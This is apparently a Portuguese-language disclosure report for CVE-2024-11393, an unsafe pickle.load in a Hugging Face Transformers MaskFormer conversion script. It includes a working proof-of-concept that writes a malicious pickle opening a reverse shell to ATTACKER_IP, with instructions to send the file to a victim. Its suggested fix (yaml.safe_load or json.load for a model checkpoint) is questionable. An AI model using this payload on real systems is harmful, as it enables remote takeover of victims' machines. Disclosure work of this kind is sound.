
Detalhes Técnicos e Exploração para CVE-2024-11393
Visão geral de alto nível e efeitos da vulnerabilidade:
A vulnerabilidade permite que um atacante execute código arbitrário na máquina anfitriã ao fornecer um ficheiro de checkpoint maskformer resnet malicioso para o script convert_maskformer_swin_to_pytorch.py no repositório Hugging Face Transformers.
Se um utilizador desprevenido usar um ficheiro de checkpoint maskformer resnet de terceiros, executar o script convert_maskformer_swin_to_pytorch.py levará à execução remota de código (RCE) no sistema da vítima.
O Produto Vulnerável
Análise da Causa Raiz
Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script usa pickle.load para carregar o ficheiro de checkpoint e é vulnerável à execução de código.
Fluxo de código desde a entrada até a condição vulnerável:
maskformer de terceiros.convert_maskformer_swin_to_pytorch.py e passa o ficheiro de checkpoint para ele.convert_maskformer_swin_to_pytorch.py desserializa o ficheiro de checkpoint e executa o código malicioso.Ponto de injeção: A vulnerabilidade ocorre no ponto onde pickle.load é chamado.
Link Permalink no GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
Correções sugeridas: Substituir pickle.load por yaml.safe_load(yaml_file) ou json.load para prevenir a execução de código arbitrário.
Instruções para executar a prova de conceito:
malicious.pkl que criará uma shell reversa no sistema da vítima:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Ficheiro pickle malicioso criado com sucesso.")
Nota: Altere o ATTACKER_IP e o ATTACKER_PORT antes de enviar o ficheiro para a vítima.
convert_maskformer_swin_to_pytorch.py e passar o ficheiro malicious.pkl para --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
Nota: O
pytorch_dump_folder_pathpode ser definido como qualquer diretório, e omodel_namepode ser qualquer modelo.
Link para download do software:
https://github.com/huggingface/transformers/tree/main